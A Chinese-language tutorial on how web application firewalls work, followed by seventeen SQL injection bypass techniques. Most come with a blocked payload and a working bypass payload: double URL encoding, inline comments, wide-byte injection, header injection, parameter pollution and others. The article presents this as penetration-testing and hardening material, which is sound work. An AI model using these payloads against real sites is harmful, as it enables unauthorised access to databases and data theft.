WAF机制及绕过方法总结:注入篇
本篇文章主要介紹WAF的一些基本原理,總結常見的SQL注入Bypass WAF技巧。WAF是專門為保護基于Web應用程序而設計的,我們研究WAF繞過的目的一是幫助安服人員了解滲透測試中的測試技巧,而是能夠對安全設備廠商提供一些安全建議,及時修復WAF存在的安全問題,以增強WAF的完備性和抗攻擊性。三是希望網站開發者明白并不是部署了WAF就可以高枕無憂了,要明白漏洞產生的根本原因,最好能在代碼層面上就將其修復。
一、WAF的定義
WAF(Web應用防火墻)是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。通俗來說就是WAF產品里集成了一定的檢測規則,會對每個請求的內容根據生成的規則進行檢測并對不符合安全規則的作出對應的防御處理,從而保證Web應用的安全性與合法性。
二、WAF的工作原理
WAF的處理流程大致可分為四部分:預處理、規則檢測、處理模塊、日志記錄
1.???預處理
預處理階段首先在接收到數據請求流量時會先判斷是否為HTTP/HTTPS請求,之后會查看此URL請求是否在白名單之內,如果該URL請求在白名單列表里,直接交給后端Web服務器進行響應處理,對于不在白名單之內的對數據包解析后進入到規則檢測部分。
2.???規則檢測
每一種WAF產品都有自己獨特的檢測規則體系,解析后的數據包會進入到檢測體系中進行規則匹配,檢查該數據請求是否符合規則,識別出惡意攻擊行為。
3.???處理模塊
針對不同的檢測結果,處理模塊會做出不同的安全防御動作,如果符合規則則交給后端Web服務器進行響應處理,對于不符合規則的請求會執行相關的阻斷、記錄、告警處理。
不同的WAF產品會自定義不同的攔截警告頁面,在日常滲透中我們也可以根據不同的攔截頁面來辨別出網站使用了哪款WAF產品,從而有目的性進行WAF繞過。
4.???日志記錄
WAF在處理的過程中也會將攔截處理的日志記錄下來,方便用戶在后續中可以進行日志查看分析。
三、WAF的分類
1.? 軟WAF
軟件WAF安裝過程比較簡單,需要安裝到需要安全防護的web服務器上,以純軟件的方式實現。
代表產品:安全狗,云鎖,D盾等
2.? 硬WAF
硬件WAF的價格一般比較昂貴,支持多種方式部署到Web服務器前端,識別外部的異常流量,并進行阻斷攔截,為Web應用提供安全防護。
代表產品有:Imperva、天清WAG等
3.???云WAF
云WAF的維護成本低,不需要部署任何硬件設備,云WAF的攔截規則會實時更新。對于部署了云WAF的網站,我們發出的數據請求首先會經過云WAF節點進行規則檢測,如果請求匹配到WAF攔截規則,則會被WAF進行攔截處理,對于正常、安全的請求則轉發到真實Web服務器中進行響應處理。
代表產品有:阿里云云盾,騰訊云WAF等
4.???自定義WAF
我們在平時的滲透測試中,更多情況下會遇到的是網站開發人員自己寫的防護規則。網站開發人員為了網站的安全,會在可能遭受攻擊的地方增加一些安全防護代碼,比如過濾敏感字符,對潛在的威脅的字符進行編碼、轉義等。
四、WAF的部署方式
1. 透明網橋
2. 反向代理
3. 鏡像流量
4. 路由代理
五、?繞WAF的多種方式
為了讓大家更清楚的理解繞WAF的方法原理,本次WAF繞過方法的介紹中會增加部分代碼示例。
注:本文的代碼示例都是在sqli-labs基礎上修改的。
正常無攔截規則的代碼:
接收用戶傳遞的參數后直接帶入數據庫中執行。為了方便查看,將查詢語句動態輸出。
1.???各種編碼繞過
繞WAF最常見的方法就是使用各種編碼進行繞過,但編碼能繞過的前提是提交的編碼后的參數內容在進入數據庫查詢語句之前會有相關的解碼代碼。
a)?? URL編碼:
增加了過濾規則的代碼:
代碼中增加了特殊字符過濾,但在參數值進入數據庫查詢語句前多了一步解碼操作:
$id= urldecode($id);正常payload:
?id=1' and '1'='2直接提交攻擊語句,單引號被過濾,注入語句未成功插入。
繞過payload:
?id=?%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32對參數值進行URL編碼后可繞過過濾檢測,注入語句成功寫入。
b)??二次URL編碼
增加了過濾規則的代碼:
代碼中在特殊字符過濾前又多增加了一步解碼操作,可使用二次URL編碼進行繞過。
正常payload:
?id=1'and '1'='2
?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
使用一次URL編碼繞過后,由于在過濾前會進行一次解碼操作,所以單引號還是被過濾掉,注入語句未成功插入。
繞過payload:
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
使用二次URL編碼后可繞過過濾檢測,注入語句成功寫入。
c)???其他編碼
除了使用URL編碼外,還可以使用其他的編碼方式進行繞過嘗試,例如Unicode編碼,Base64編碼,Hex編碼,ASCII編碼等,原理與URL編碼類似,此處不再重復。
2. 字母大小寫轉換繞過
部分WAF只過濾全大寫(SLEEP)或者全小寫(sleep)的敏感字符,未對sleeP/slEEp進行過濾,可對關鍵字進行大小寫轉換進行繞過。
增加了過濾規則的代碼:
正常payload:
?id=1' and sleep(3) and '1'='1
?id=1' and SLEEP(3) and '1'='1
繞過payload:
?id=1' and sleeP(3) and '1'='1
?id=1' and slEeP(3) and '1'='1
3. 空格過濾繞過
增加了過濾規則的代碼:
部分WAF會對空格過濾,可使用空白符或者‘+’號替換空格進行繞過。
a)???使用空白符替換空格繞過
| SQLite3 | 0A,0D,0C,09,20 |
| MySQL5 | 09,0A,0B,0C,0D,A0,20 |
| PosgresSQL | 0A,0D,0C,09,20 |
| Oracle 11g | 00,0A,0D,0C,09,20 |
| MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
正常payload:
?id=1'and sleep(3) and '1'='1空格被過濾,注入語句未成功插入。
繞過payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1注入語句成功寫入
b)??使用‘+’替換空格繞過
繞過payload:
?id=1'+and+sleep(3)+and+'1'='1?注入語句成功寫入
c)???使用注釋符/**/替換空格繞過
繞過payload:
??id=1'/**/and/**/sleep(3)/**/and/**/'1'='1注入語句成功寫入
4. 雙關鍵字繞過
部分WAF會對關鍵字只進行一次過濾處理,可使用雙關鍵字繞過。
增加了過濾規則的代碼:
正常payload:
?id=1and SLeeP(3) and 1=1由于使用了strtolower()函數,所以無法使用大小寫轉換進行繞過,注入語句未成功插入。
繞過payload:
?id=1+and+SLesleepeP(3)+and+1=1?WAF只對關鍵字sleep進行一次過濾,可使用SLEsleepEP,進行一次過濾后成為sleep,可繞過WAF,注入語句成功寫入。
5. 內聯注釋繞過
在MySQL里,/**/是多行注釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*后頭加了驚嘆號(/*!50001sleep(3)*/),那么此注釋里的語句將被執行。
增加了過濾規則的代碼:
正常payload:
?id=1+and+sleep(3)+and+1=2繞過payload:
?id=1+and+/*!50001sleep(3)*/+and+1=16. 請求方式差異規則松懈性繞過
有些WAF同時接收GET方法和POST的方法,但只在GET方法中增加了過濾規則,可通過發送POST方法進行繞過。
增加了過濾規則的代碼:
正常payload:
GET /xxx/?id=1+and+sleep(4)??
繞過payload:
POST?/xxx/?
id=1+and+sleep(4)
?
發送POST請求,繞過過濾規則,注入語句成功寫入。
7. 異常Method繞過
有些WAF只檢測GET,POST方法,可通過使用異常方法進行繞過。
增加了過濾規則的代碼:
正常payload:
?GET/xxx/?id=1+and+sleep(3) HTTP/1.1繞過payload:
DigApis?/xxx/?id=1+and+sleep(3)HTTP/1.1使用異常方法繞過過濾規則檢測,注入語句成功寫入。
8. 超大數據包繞過
部分WAF只檢測固定大小的內容,可通過添加無用字符進行繞過檢測
增加了過濾規則的代碼:
正常payload:
?id=1+and+sleep(3)?繞過payload:
??id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111添加無用字符,使內容大小超過WAF檢測能檢測到的最大內容。
9. 復參數繞過
在提交的URL中給一個參數多次賦了不同的值(?id=1&id=2),部分WAF在處理的過程中可能只處理前面提交的參數值(id=1),而后端程序在處理的時候可能取的是最后面的值。
正常payload:
?id=1+and+sleep(3)?繞過payload:
?id=1&id=2+and+sleep(3)?將攻擊語句賦予最后一個id參數,可繞過WAF檢測直接進入后端服務器。
10.???添加%繞過過濾
將WAF中過濾的敏感字符通過添加%繞過過濾。
例如:WAF過濾了select ,可通過se%lect繞過過濾,在進入后端執行中對參數串進行url解碼時,會直接過濾掉%字符,從而注入語句被執行。IIS下的asp.dll文件在對asp文件后參數串進行url解碼時,會直接過濾%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin
?id=1union select 1, 2, 3 from admi
?繞過payload:
?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
11.???協議未覆蓋繞過
以下四種常見的content-type類型:
以下四種常見的content-type類型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只對一種content-type類型增加了檢測規則,可以嘗試互相替換嘗試去繞過WAF過濾機制。
例如使用multipart/form-data進行繞過。
正常請求:
轉換為multipart/form-data類型進行繞過:
12.???寬字節繞過
寬字節注入是因為使用了GBK編碼。為了防止sql注入,提交的單引號(%27)會進行轉義處理,即在單引號前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+?繞過payload:
?id=1%df%27and 1=1--+%df%27經過轉義后會變成%df%5C%27,%df%5c會被識別為一個新的字節,而%27則被當做單引號,成功實現了語句閉合。
13.???%00截斷
部分WAF在解析參數的時候當遇到%00時,就會認為參數讀取已結束,這樣就會只對部分內容進行了過濾檢測。
正常payload:
?a=1&id=1and sleep(3)?繞過payload:
??a=1%00.&id=1and sleep(3)14.???Cookie/X-Forwarded-For注入繞過
部分WAF可能只對GET,POST提交的參數進行過濾,未對Cookie或者X-Forwarded-For進行檢測,可通過cookie或者X-Forwarded-For提交注入參數語句進行繞過。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1 Host: 192.168.61.175 ...........Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
繞過payload:
GET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--
15.???利用pipline繞過
當請求中的Connection字段值為keep-alive,則代表本次發起的請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。部分WAF可能只對第一次傳輸過來的請求進行過濾處理。
正常請求被攔截:
利用pipline進行繞過:
首先關閉burp的Repeater的Content-Length自動更新
修改Connection字段值為keep-alive,將帶有攻擊語句的數據請求附加到正常請求后面再發送一遍。
16.???利用分塊編碼傳輸繞過
分塊傳輸編碼是HTTP的一種數據傳輸機制,允許將消息體分成若干塊進行發送。當數據請求包中header信息存在Transfer-Encoding: chunked,就代表這個消息體采用了分塊編碼傳輸。
17.???冷門函數/字符/運算符繞過
floor()?==>? updatexml(),extractvalue()
Substring()?==>? Mid(),Substr(),Lpad(),Rpad(),Left()
concat()?==>? concat_ws(),group_concat()
limit 0,1 ?==>? limit1 offset 0
and? ==>?&&?
or? ==>?||
=?==>? <,>
=?==>? like
Sleep()? ==>?benchmark()
六、總結
上面使用部分代碼示例向大家介紹了一些基礎的繞過WAF注入方法,但實際中的WAF檢測規則錯綜復雜,需要我們通過手工或fuzzing,并結合多種方法的組合拳去測試WAF檢測原理,從而對抗WAF。
總結
以上是生活随笔為你收集整理的WAF机制及绕过方法总结:注入篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 追洞小组 | Jdbc反序列化漏洞复现浅
- 下一篇: 记一次从代码审计到拿下内网edr的过程